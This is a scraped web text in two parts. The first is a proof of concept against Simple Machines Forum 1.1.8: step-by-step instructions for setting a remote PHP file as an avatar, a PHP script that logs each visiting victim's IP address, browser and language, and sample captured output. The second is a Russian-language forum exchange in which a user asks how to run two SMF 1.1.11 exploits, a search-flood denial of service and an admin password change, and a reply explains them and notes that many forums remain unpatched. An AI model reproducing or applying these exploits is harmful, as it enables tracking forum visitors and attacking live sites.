Simple Machines Forum <= 1.1.8 (avatar) Remote PHP File Execute PoC - Step by Step: 1) go to your profile in section of avatar. 2) put the url of the malicious php file as avatar (ex: http://target/poc.php). 3) create a new topic. - [victims] All the people that visit the topic will be infect. malicious file example [steal info]: (poc.php) <?php $ip = $_SERVER['REMOTE_ADDR']; $so= $_SERVER['HTTP_USER_AGENT']; $lan= $_SERVER['HTTP_ACCEPT_LANGUAGE']; $url= $_SERVER['PHP_SELF']; $path= $_SERVER['DOCUMENT_ROOT']; $archivo = 'hacks.txt'; $fp = fopen($archivo, "a"); $string = " Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC $path$url VICTIM: $ip info: $so language: $lan "; $write = fputs($fp, $string); fclose($fp); ?> ------END----- cat hacks.txt Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC by Jose Luis Gongora Fernandez (aka) JosS /***/***/vhosts/hack0wn.com/httpdocs/poc.php VICTIM: 88.25.92.*** info: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.19) Gecko/20081202 Iceweasel/2.0.0.19 (Debian-2.0.0.19-0etch1) language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3 // tested on smf 1.1.8
Нашел в инете 2 варианта эксплоита под SMF 1.1.11 . Хотелось бы обсудить их. 1.Источник - http://www.thoran.eu/exploit/key/e2f0m/name/Simple_Machines_Forums_SMF_1.1.11.Multiple_Search_DDOS 2. Источник - http://www.allinfosec.com/2010/06/25/smf-1-1-11-change-password-admin-vulnerabilities/ Хотелось бы узнать такое: По первому сплоиту - что с ним надо делать? Понимаю, что надо запустить через актив перл, но в самом коде надо что то менять или просто так запускать? Язык перл не знаю. По второму - окно смены пароля открывается действительно, но когда ввожу новый пароль, пишет "такого пользователя не существует", хотя id=1 точно на форуме есть. upd. сюда код скопировать почему то не могу - тег CODE переводит все в 1 длинную строку.
1 это походу отправка большого количества запросов, форум их не может фильрировать и падает.... я могу ошибатся по 2 скажу что этот баг уже профиксили, хотя в сети полно не обновлянных smf